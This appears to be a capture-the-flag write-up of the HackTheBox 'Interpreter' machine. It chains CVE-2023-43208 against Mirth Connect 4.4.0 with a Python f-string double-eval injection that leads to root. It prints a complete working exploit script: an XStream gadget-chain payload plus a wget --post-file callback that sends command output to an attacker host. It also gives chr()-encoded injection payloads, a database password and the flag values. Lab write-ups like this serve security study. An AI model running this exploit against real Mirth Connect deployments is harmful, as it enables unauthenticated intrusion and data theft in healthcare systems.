← Back to Writeups
HTBMediumPentest

Interpreter (Mirth Connect → f-string Injection)

XESXOR9/2/20268 min read
#pentest#htb#medium#base64_command_exfiltration#chr_bypass_regex#fstring_double_eval#internal_service_abuse#wget_post_file_exfil#xml_injection_to_eval#xstream_deserialization_rce#cve-2023-43208

Interpreter (Mirth Connect → f-string Injection)

Platform: HackTheBox | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_command_exfiltration, chr_bypass_regex, fstring_double_eval, internal_service_abuse, wget_post_file_exfil, xml_injection_to_eval, xstream_deserialization_rce

Summary

Walkthrough of the HackTheBox Pentest Interpreter (Mirth Connect → f-string Injection). Task: HackTheBox machine with Mirth Connect 4.4.0 healthcare integration engine. Solution: CVE-2023-43208 XStream deserialization for initial RCE as mirth user, then privilege escalation via Python f-

Description

Full machine on HackTheBox. Mirth Connect 4.4.0 (healthcare integration engine) with CVE-2023-43208 vulnerability for initial access, then privilege escalation via Python f-string injection in an internal Flask service running as root.

  • Target: 10.129.7.17
  • OS: Debian 12, kernel 6.1.0-43-amd64
  • Stack: Jetty (Mirth Connect 4.4.0), Flask/Werkzeug 2.2.2, MariaDB 10.5
  • Users: root, sedric (uid=1000), mirth (uid=103)

Flags

#TypeFlagMethod
1Userb63665586c7eca1656d9f9b6b821e48af-string injection → open('/home/sedric/user.txt').read()
2Root9acc749ecf629eb2fa239153b8e2cacdf-string injection → open('/root/root.txt').read()

Reconnaissance

Nmap Scan

bash
nmap -sV -sC -T4 -p- --min-rate=1000 10.129.7.17

Open ports:

  • 22 — SSH (OpenSSH 9.2p1 Debian)
  • 53 — DNS
  • 80/443 — HTTP/HTTPS (Jetty — Mirth Connect Administrator 4.4.0)
  • 6661 — Mirth TCP/HL7 Listener (MLLP protocol)

Internal services (discovered after initial access):

  • 127.0.0.1:54321 — Flask/Werkzeug 2.2.2 (notif.py, runs as root)
  • 127.0.0.1:3306 — MariaDB (credentials: mirthdb:MirthPass123!)

Identification

  • HTTP title: "Mirth Connect Administrator"
  • SSL cert CN: mirth-connect
  • Mirth Connect — open-source healthcare integration engine for routing HL7 messages
  • Version 4.4.0 is vulnerable to CVE-2023-43208 (pre-auth RCE)

Step 1: Initial Access — CVE-2023-43208 (XStream Deserialization RCE)

Mirth Connect 4.4.0 has a critical vulnerability CVE-2023-43208 — unauthenticated RCE via XStream deserialization in /api/users POST endpoint.

Vulnerability

  • Endpoint /api/users accepts XML without authentication
  • XStream parser deserializes arbitrary Java objects
  • Gadget chain: ChainedTransformer + InvokerTransformer + EventUtils$EventBindingInvocationHandler
  • Result: Runtime.getRuntime().exec(command) as user mirth

Exploit (rce.py)

python
#!/usr/bin/env python3
"""CVE-2023-43208 RCE helper - executes commands and exfiltrates output"""

import requests
import urllib3
import sys
import time
import threading
import base64 as b64
from http.server import HTTPServer, BaseHTTPRequestHandler

urllib3.disable_warnings()

TARGET = "https://10.129.7.17"
LHOST = "10.10.16.247"
LPORT = 8888

result_data = None
result_event = threading.Event()


class CallbackHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        global result_data
        cl = int(self.headers.get("Content-Length", 0))
        result_data = self.rfile.read(cl).decode("utf-8", errors="replace")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")
        result_event.set()

    def log_message(self, format, *args):
        pass


def send_exploit(cmd):
    """Send command via CVE-2023-43208 XStream deserialization"""
    cmd_xml = cmd.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
    xml = (
        '<sorted-set><string>abcd</string><dynamic-proxy>'
        '<interface>java.lang.Comparable</interface>'
        '<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">'
        '<target class="org.apache.commons.collections4.functors.ChainedTransformer">'
        '<iTransformers>'
        '<org.apache.commons.collections4.functors.ConstantTransformer>'
        '<iConstant class="java-class">java.lang.Runtime</iConstant>'
        '</org.apache.commons.collections4.functors.ConstantTransformer>'
        '<org.apache.commons.collections4.functors.InvokerTransformer>'
        '<iMethodName>getMethod</iMethodName>'
        '<iParamTypes><java-class>java.lang.String</java-class>'
        '<java-class>[Ljava.lang.Class;</java-class></iParamTypes>'
        '<iArgs><string>getRuntime</string><java-class-array/></iArgs>'
        '</org.apache.commons.collections4.functors.InvokerTransformer>'
        '<org.apache.commons.collections4.functors.InvokerTransformer>'
        '<iMethodName>invoke</iMethodName>'
        '<iParamTypes><java-class>java.lang.Object</java-class>'
        '<java-class>[Ljava.lang.Object;</java-class></iParamTypes>'
        '<iArgs><null/><object-array/></iArgs>'
        '</org.apache.commons.collections4.functors.InvokerTransformer>'
        '<org.apache.commons.collections4.functors.InvokerTransformer>'
        '<iMethodName>exec</iMethodName>'
        '<iParamTypes><java-class>java.lang.String</java-class></iParamTypes>'
        f'<iArgs><string>{cmd_xml}</string></iArgs>'
        '</org.apache.commons.collections4.functors.InvokerTransformer>'
        '</iTransformers></target>'
        '<methodName>transform</methodName>'
        '<eventTypes><string>compareTo</string></eventTypes>'
        '</handler></dynamic-proxy></sorted-set>'
    )
    headers = {"Content-Type": "application/xml", "X-Requested-With": "OpenAPI"}
    try:
        requests.post(TARGET + "/api/users", headers=headers, data=xml,
                      timeout=15, verify=False)
    except:
        pass


def exec_cmd(shell_cmd, timeout=10):
    """Execute a shell command and return output via wget callback"""
    global result_data, result_event
    result_data = None
    result_event.clear()

    server = HTTPServer(("0.0.0.0", LPORT), CallbackHandler)
    server_thread = threading.Thread(target=server.handle_request)
    server_thread.daemon = True
    server_thread.start()
    time.sleep(0.5)

    # Base64-encode the script to avoid quoting issues
    script = (
        f"#!/bin/sh\n"
        f"{shell_cmd} > /tmp/.rce_out 2>&1\n"
        f"wget --post-file=/tmp/.rce_out http://{LHOST}:{LPORT}/out "
        f"-O /dev/null 2>/dev/null\n"
        f"rm -f /tmp/.rce_out /tmp/.rce_script\n"
    )
    encoded = b64.b64encode(script.encode()).decode()
    decode_cmd = f"sh -c $@|sh . echo echo {encoded}|base64 -d|sh"
    send_exploit(decode_cmd)

    result_event.wait(timeout=timeout)
    server.server_close()
    return result_data

Key Exploit Features

  1. No curl on target — using wget --post-file for command output exfiltration
  2. Base64 encoding — shell script is base64-encoded to avoid escaping issues in XML
  3. Callback server — HTTP server on attacker machine receives POST with execution result
  4. Command format: sh -c $@|sh . echo echo <b64>|base64 -d|sh — trick for executing arbitrary shell code via Runtime.exec()

Result

$ python3 rce.py id
[*] Executing: id
[+] Output:
uid=103(mirth) gid=107(mirth) groups=107(mirth)

Step 2: Enumeration as mirth

Internal Service Discovery

bash
# Discovered Flask service on 127.0.0.1:54321
ss -tlnp
# → 127.0.0.1:54321 (python3 /usr/local/bin/notif.py)

# File owned by root:sedric, mirth cannot read
ls -la /usr/local/bin/notif.py
# → -rwxr----- root sedric

# Discovered Mirth channel "INTERPRETER - HL7 TO XML TO NOTIFY"
# Chain: HL7v2 (port 6661) → XML → POST http://127.0.0.1:54321/addPatient

MariaDB Credentials Discovery

bash
# In mirth.properties
grep -i password /opt/mirth-connect/conf/mirth.properties
# → database.password = MirthPass123!
# → database.username = mirthdb

Mirth Channel Logic

The "INTERPRETER" channel performs:

  1. Receives HL7v2 messages on port 6661 (MLLP protocol)
  2. Transforms HL7 → XML with fields: timestamp, sender_app, id, firstname, lastname, birth_date, gender
  3. POSTs XML to http://127.0.0.1:54321/addPatient

Step 3: Privilege Escalation — Python f-string Double Eval Injection

Vulnerability Discovery

Since notif.py is unreadable by mirth, we investigate /addPatient behavior by sending XML directly:

python
# From target (via RCE as mirth):
import urllib.request
xml = '<patient><firstname>John</firstname><lastname>Doe</lastname>' \
      '<birth_date>1990</birth_date><gender>M</gender>' \
      '<sender_app>test</sender_app><timestamp>2024</timestamp>' \
      '<id>1</id></patient>'
req = urllib.request.Request('http://127.0.0.1:54321/addPatient',
                             data=xml.encode(), method='POST')
req.add_header('Content-Type', 'application/xml')
resp = urllib.request.urlopen(req)
print(resp.read().decode())

Response: Patient John Doe (M), 36 years old, received from test at 2024

Observations:

  • Age is calculated: 2026 - 1990 = 36 → arithmetic in template
  • Machine name "Interpreter" → hint at eval/exec/code interpretation

Testing f-string Injection

firstname: {7*7}           → [INVALID_INPUT] (regex blocks *)
firstname: {__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()}
                           → uid=0(root) gid=0(root) groups=0(root)

RCE as root confirmed!

Vulnerable Code (notif.py)

python
#!/usr/bin/env python3
from flask import Flask, request, abort
import re, uuid, os
from datetime import datetime
import xml.etree.ElementTree as ET

app = Flask(__name__)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"

    # ← VULNERABILITY: double f-string evaluation
    template = f"Patient {first} {last} ({gender}), " \
               f"{{datetime.now().year - year_of_birth}} years old, " \
               f"received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")  # ← user input eval'd as f-string!
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    # ... parses XML, extracts fields, calls template()

Vulnerability Mechanism

Double f-string evaluation:

  1. First f-string (lines 15-17): substitutes user input into template

    python
    template = f"Patient {first} ..."
    # first = "{__import__('os').popen('id').read()}"
    # → template = "Patient {__import__('os').popen('id').read()} ..."
  2. Second eval (line 19): interprets the result as another f-string

    python
    eval(f"f'''{template}'''")
    # → eval("f'''Patient {__import__('os').popen('id').read()} ...'''")
    # → "Patient uid=0(root)... ..."
  3. Expressions in {} from user input pass through the first f-string as literal text (because Python doesn't know they are f-string expressions — they're just strings), but are executed by the second eval().

Regex Filter Bypass

Regex: ^[a-zA-Z0-9._'"(){}=+/]+$

  • Allowed: a-z A-Z 0-9 . _ ' " ( ) { } = + /
  • Blocked: spaces, -, ,, ;, [, ], \, |, &, <, >, !, @, #, $, %, ^, *, ~, `

Solution: use chr() to encode blocked characters:

python
# Instead of: __import__('os').popen('id').read()
# Write:      __import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()

# Instead of: open('/home/sedric/user.txt').read()
# Write:      open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+...).read()

Key insight: regex allows (){}+ — this is enough for function calls, string concatenation via chr(), and f-string injection.

Step 4: Flag Extraction

User Flag

Payload in <firstname>:

{open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(115)+chr(101)+chr(100)+chr(114)+chr(105)+chr(99)+chr(47)+chr(117)+chr(115)+chr(101)+chr(114)+chr(46)+chr(116)+chr(120)+chr(116)).read()}

Decodes to: open('/home/sedric/user.txt').read()

b63665586c7eca1656d9f9b6b821e48a

Root Flag

Payload in <firstname>:

{open(chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(46)+chr(116)+chr(120)+chr(116)).read()}

Decodes to: open('/root/root.txt').read()

9acc749ecf629eb2fa239153b8e2cacd

Full Attack Chain

Nmap Scan → Mirth Connect 4.4.0 on ports 80/443, HL7 listener on 6661
  ↓
CVE-2023-43208: XStream deserialization in /api/users → RCE as mirth (uid=103)
  ↓
Enumeration: Flask notif.py on 127.0.0.1:54321 (runs as root)
  ↓
Mirth channel: HL7 → XML → POST /addPatient
  ↓
Probing /addPatient: age calculation hints at eval(), machine name "Interpreter"
  ↓
f-string injection in <firstname>: {expression} evaluated by eval(f"f'''...'''")
  ↓
chr() encoding to bypass regex filter (no spaces/special chars allowed)
  ↓
{open(chr(47)+...+chr(116)).read()} → read /home/sedric/user.txt (User Flag)
  ↓
{open(chr(47)+...+chr(116)).read()} → read /root/root.txt (Root Flag)

Key Vulnerabilities

#VulnerabilityCVEImpact
1XStream Deserialization RCECVE-2023-43208Pre-auth RCE as mirth
2Python f-string double eval—RCE as root via internal service
3Regex allows {}() with eval—Regex bypass via chr() encoding
4Internal service trusts local input—Privilege escalation path

Lessons

  1. Double f-string evaluation is a critical vulnerability. eval(f"f'''{user_input}'''") allows arbitrary Python code execution, even if input was previously substituted into another f-string
  2. Regex filtering is useless if {}() are allowed. These characters are all that's needed for f-string injection + function calls. chr() + + allow building any string
  3. CVE-2023-43208 is pre-auth RCE in Mirth Connect. Healthcare systems often use Mirth Connect; versions ≤ 4.4.0 are critically vulnerable
  4. Internal services = hidden attack surface. A service on localhost:54321, invisible from outside, turned out to be the main privesc vector
  5. No curl? Use wget. wget --post-file is an excellent alternative for data exfiltration
  6. Machine name is always a hint. "Interpreter" → Python interpreter → eval()

Key Takeaways / Lessons

  • Mastering base64_command_exfiltration, chr_bypass_regex, fstring_double_eval, internal_service_abuse, wget_post_file_exfil, xml_injection_to_eval, xstream_deserialization_rce was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-02-25 • HTB • Interpreter (Mirth Connect → f-string Injection) • Difficulty: Medium